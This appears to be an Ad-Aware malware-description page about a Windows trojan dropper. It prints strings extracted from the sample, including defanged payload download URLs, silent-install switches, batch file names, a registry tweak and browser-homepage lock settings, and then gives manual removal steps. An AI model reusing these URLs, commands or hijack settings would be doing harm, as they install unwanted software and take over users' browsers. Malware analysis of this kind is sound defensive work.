D:\dream
D:\dream\win1.log
D:\dream\winky.log
360tray.exe
D:\dream\winzy.log
C:\Users\Public\Desktop\UC
%Documents and Settings%\All Users\
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Uninstall\
Windows
C:\Users\Public\Desktop\QQ
C:\Users\Public\Desktop\
D:\dream\b2.bat
D:\dream\2k
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/2k2/2k?public&code=fc2d8fa2450ac946c7590ef0ace43135
D:\dream\2345pic_k1252705.exe
D:\dream\2345pic_k1252705.exe -s1
2345pic_k1252705.exe
C:\Users\
%Documents and Settings%\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_USERS\S-1-5-21-4278381565-3782908184-2563460023-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_USERS\S-1-5-21-442436397-1971995177-210813084-500\Software\Microsoft\Windows\CurrentVersion\Uninstall
D:\dream\1.bat
hXXp://z4.cnzz.com/stat.htm?id=1254275459
WinHttp.WinHttpRequest.5.1
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Content-Type: application/x-www-form-urlencoded
D:\dream\ky
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/ky2/ky?public&code=39fb8b340dbdf91bfa4cff7423147311
D:\dream\Kuaizip_Setup_union123_0088.exe
D:\dream\Kuaizip_Setup_union123_0088.exe /JingMo
D:\dream\ky.bat
hXXp://z13.cnzz.com/stat.htm?id=1256550373
D:\dream\zy
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/zy2/zy?public&code=94979ed818604a3f6632db70c4686078
D:\dream\lgezy
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/3/lge?public&code=84c5751f6a57ab5839dc76a83b46d24d
D:\dream\BlueInstaller_bsvalkkx_101101_.exe
D:\dream\BlueResource.bpk
C:\Users\Public\Desktop\hao123
set "w71=Microsoft\Windows\Start Menu\Programs"
set "w72=Microsoft\Windows\Start Menu"
"%USERPROFILE%\%xp1%"
"%ALLUSERSPROFILE%\%xp1%"
"%USERPROFILE%\%xp2%"
"%ALLUSERSPROFILE%\%xp2%"
reg add "HKEY_CURRENT_USER\Software\HomeSafe" /v "StartFlagNoTip" /t REG_DWORD /d 1 /f
D:\dream\zy.bat
hXXp://z11.cnzz.com/stat.htm?id=1256550363
D:\dream\uc1
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc1?public&code=4920014f1661ee276c5f76c3c78da609
D:\dream\uc2
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc2?public&code=aee9f4689bf38dc8ed8798557f99fc1e
D:\dream\uc3
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc3?public&code=9e2daf370bb626b150e2632982713131
D:\dream\uc4
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc4?public&code=477f04f9957303bb4bdb48129dce1667
D:\dream\uc5
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc5?public&code=33abc4df613448c4d0a5e5a96af653dd
D:\dream\uc6
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc6?public&code=68fd52b4583e5ce722c5b1ef3c2155cc
D:\dream\lgeuc
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/lge/lge?public&code=411f778b2af125c63e48c0bafb370ced
D:\dream\uc.bat
<BrowserItem Process="iexplore.exe" Title="hao123
" URL="hXXp://VVV.hao123.com/?tn=96468612_hao_pg" IsLock="TRUE" />
<BrowserItem Process="chrome.exe" Title="hao123
<BrowserItem Process="safari.exe" Title="hao123
<BrowserItem Process="TheWorld.exe.exe" Title="hao123
<BrowserItem Process="sogouexplorer.exe" Title="hao123
<BrowserItem Process="qqbrowser.exe" Title="hao123
<BrowserItem Process="baidubrowser.exe" Title="hao123
" URL="hXXp://VVV.hao123.com/?tn=97215765_hao_pg" IsLock="TRUE" />
<BrowserItem Process="2345explorer.exe" Title="360
" URL="hXXp://hao.360.cn/?src=lm&ls=n6f9da49b8f" IsLock="TRUE" />
<BrowserItem Process="maxthon.exe" Title="hao123
" URL="hXXp://VVV.hao123.com/?tn=96074770_hao_pg" IsLock="TRUE" />
<BrowserItem Process="ucbrowser.exe" Title="hao123
" URL="hXXp://VVV.hao123.com/?tn=96982550_hao_pg" IsLock="TRUE" />
<BrowserItem Process="firefox.exe" Title="hao123
" URL="hXXp://VVV.hao123.com/?tn=95621234_hao_pg" IsLock="TRUE" />
<BrowserItem Process="hao123Juzi.exe" Title="hao123
<BrowserItem Process="Juzi.exe" Title="hao123
<BrowserItem Process="hao123browser.exe" Title="hao123
<BrowserItem Process="liebao.exe" Title="hao123
<BrowserItem Process="360se.exe" Title="360
<BrowserItem Process="360chrome.exe" Title="360
C:\ProgramData\HomeSafe\start_config.xml
%Documents and Settings%\All Users\Application Data\HomeSafe\start_config.xml
hXXp://z11.cnzz.com/stat.htm?id=1254275466
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/qqllq/qqllq?public&code=f58c632f79fc763c3faa7a4ad4010c0b
D:\dream\lgeqq
D:\dream\qq.bat
hXXp://z11.cnzz.com/stat.htm?id=1256729438
D:\dream\js1
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/js1/js1?public&code=65d941351a610c5689f9fc254ecca256
D:\dream\js2
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/js1/js2?public&code=b3410728b05fb0febfbc6b7edbe514f7
D:\dream\duba_1_276.exe
hXXp://z13.cnzz.com/stat.htm?id=1256627376
D:\MM-liao9728.exe
D:\MM-liao
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/mm?public&code=412c89b951806641268495a46a262424
hXXp://z4.cnzz.com/stat.htm?id=1254275646
hXXp://z11.cnzz.com/stat.htm?id=1254275435
%Ui,)
tüV
1.2.18
inflate 1.1.3 Copyright 1995-1998 Mark Adler
%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
MSWHEEL_ROLLMSG
__MSVCRT_HEAP_SELECT
portuguese-brazilian
MSVFW32.dll
AVIFIL32.dll
iphlpapi.dll
SHLWAPI.dll
MPR.dll
WINMM.dll
WS2_32.dll
VERSION.dll
RASAPI32.dll
GetProcessHeap
WinExec
GetWindowsDirectoryA
GetCPInfo
KERNEL32.dll
GetKeyState
GetKeyboardLayout
CreateDialogIndirectParamA
UnhookWindowsHookEx
SetWindowsHookExA
USER32.dll
GetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
GDI32.dll
WINSPOOL.DRV
comdlg32.dll
RegCloseKey
RegOpenKeyExA
RegCreateKeyExA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
OLEAUT32.dll
COMCTL32.dll
WININET.dll
.PAVCException@@
.PAVCNotSupportedException@@
.PAVCFileException@@
(*.prn)|*.prn|
(*.*)|*.*||
Shell32.dll
Mpr.dll
Advapi32.dll
User32.dll
Gdi32.dll
Kernel32.dll
(&07-034/)7 '
?? / %d]
%d / %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
out.prn
%d.%d
%d / %d
%d/%d
Bogus message code %d
(%d-%d):
%ld%c
(*.avi)|*.avi
WPFT532.CNV
WPFT632.CNV
EXCEL32.CNV
write32.wpc
Windows Write
mswrd632.wpc
Word for Windows 6.0
wword5.cnv
Word for Windows 5.0
mswrd832.cnv
mswrd632.cnv
Word 6.0/95 for Windows & Macintosh
html32.cnv
Service Pack %d
Windows 2003
Windows XP
Windows 2000
Windows NT
Windows ??
Windows Millenium Edition
Windows 98 Second Edition
Windows 98 SP1
Windows 98
Windows 95 OSR2
Windows 95 SP1
Windows 95
Windows CE
Microsoft Windows Me
Microsoft Windows 98
Microsoft Windows 95
Microsoft Windows 2003
Microsoft Windows XP
Microsoft Windows 2000
Microsoft Windows NT
KERNEL32.DLL
%s <%s>
Reply-To: %s
From: %s
To: %s
Subject: %s
Date: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
SMTP
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
zcÁ
Microsoft .NET Framework 2.0 Service Pack 1
x86 9.0.30729.4148
D:\dream\pack.exe
(*.*)

pack.exe_264_rwx_00650000_00002000:

<assemblyIdentity version="1.0.0.0" name=".add"/>
????????<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
kernel32.dll
MSVFW32.dll
AVIFIL32.dll
WINMM.dll
WS2_32.dll
VERSION.dll
RASAPI32.dll
USER32.dll
GDI32.dll
WINSPOOL.DRV
comdlg32.dll
ADVAPI32.dll
RegCloseKey
SHELL32.dll
ole32.dll
OLEAUT32.dll
COMCTL32.dll
WININET.dll
5.2.1.0


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:1088

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\zy[1] (272640 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\uc1[1] (930564 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\ky[1] (87338 bytes)

  4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  5. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2026 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now